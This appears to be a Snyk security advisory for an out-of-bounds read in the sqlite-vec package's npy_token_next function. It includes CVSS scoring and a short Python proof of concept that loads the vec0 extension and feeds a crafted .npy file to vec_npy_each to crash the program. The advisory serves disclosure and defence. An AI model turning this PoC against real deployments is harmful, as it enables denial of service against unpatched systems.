Out-of-bounds Read Affecting asg017/sqlite-vec package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.04% (14th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-UNMANAGED-ASG017SQLITEVEC-8097311
  • published 26 Sep 2024
  • disclosed 25 Sep 2024
  • credit VulnSphere

How to fix?

There is no fixed version for asg017/sqlite-vec.

Overview

Affected versions of this package are vulnerable to Out-of-bounds Read via the npy_token_next function. An attacker can cause a program to crash or become unresponsive by supplying a specially crafted file.

PoC


import sqlite3

def execute_all(cursor, sql, args=None):
    if args is None:
        args = []
    results = cursor.execute(sql, args).fetchall()
    return list(map(lambda x: dict(x), results))

def connect(ext, path=":memory:", extra_entrypoint=None):
    db = sqlite3.connect(path)
    db.enable_load_extension(True)
    db.load_extension(ext)
    db.row_factory = sqlite3.Row
    return db

db = connect("./dist/vec0")

vec_npy_each_f = lambda *args: execute_all(
    db, "select * from vec_npy_each(?)", args
)

with open("./poc.npy", "rb") as f:
    data = f.read()
    print(vec_npy_each_f(data))

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    None
  • Availability (VA)
    High
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None